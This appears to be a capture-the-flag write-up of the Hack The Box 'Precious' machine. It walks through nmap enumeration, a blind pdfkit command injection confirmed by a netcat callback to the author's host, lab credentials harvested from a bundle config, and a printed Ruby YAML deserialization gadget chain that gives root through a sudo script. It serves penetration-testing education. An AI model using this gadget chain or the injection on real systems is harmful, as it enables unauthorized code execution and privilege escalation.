Precious Writeup
20 May 2023 #CTF #HTB #box #easy #linuxme trying to properly crop a screenshot (impossible challenge)
Enumeration
nmap
is my precious:
$ sudo nmap -n -sCV -oN enum/initial.nmap 10.10.11.189
[...]
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
SSH
We can use the ssh banner to fingerprint the OS version and find out that the box is running Debian 11 (Bullseye).
HTTP
Upon accessing the website with the IP address of the box, we are redirected to http://precious.htb/
. We can try to look for subdomains but there aren't any.
We get a simple page that asks us for a URL:
We can check HTTP headers for additional info:
$ curl -I precious.htb
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 483
Connection: keep-alive
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Mon, 28 Nov 2022 23:01:31 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
curl -I
does a HEAD request which retrieves only the response headers.
Given the X-Runtime
header, this is most likely a ruby web app.
Directory bruteforcing reveals nothing, seems like the web app is limited to this one page.
Let's play with the input field in Burp and try command injection:
It responds with a pdf (the id
command doesn't seem to have been executed):
If we look into it, we can find the software used (and its version) to generate the pdf:
Foothold
A quick online search informs us that all versions of pdfkit prior to 0.8.7 are vulnerable to a command injection.
This is a blind command injection, so we'll try to curl
ourselves to see if it works:
But we don't get any hits...
The problem here is that %20
gets translated to a space by the server. To get around this, we need to URL encode the %
character:
Setup nc
to catch the request:
$ sudo nc -lvnp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:44610.
GET / HTTP/1.1
Host: 10.10.14.14
User-Agent: curl/7.74.0
Accept: */*
This time, we do get a hit! Time for a reverse shell:
We also have to URL encode the &
character in order to avoid it being interpreted as the HTTP parameter separator.
Privesc
ruby to henry
We have a shell as the ruby user. In their home directory, we can find creds in the bundle config:
ruby@precious:~$ cat ~/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
We can use these creds to ssh as henry.
henry to root
Henry can run sudo
:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
We can run this update_dependencies.rb
script as root without password. Here is the script in question:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s] }
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The interesting part of the script is when it uses YAML.load
on a file called dependencies.yml
on the current working directory (which we control).
This blog post explains why loading user-supplied yaml is bad. Essentially, it is a deserialization attack to achieve code execution using a carefully crafted gadget chain:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Save this in a file called dependencies.yml
and run the script:
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
[...]
Along with a bunch of error messages, we see our id
command got executed. Now it's just a matter of replacing id
by bash
in the yaml file.
Key Takeaways
- URL encode payload to bypass some (bad) filters
- Loading user-supplied YAML is bad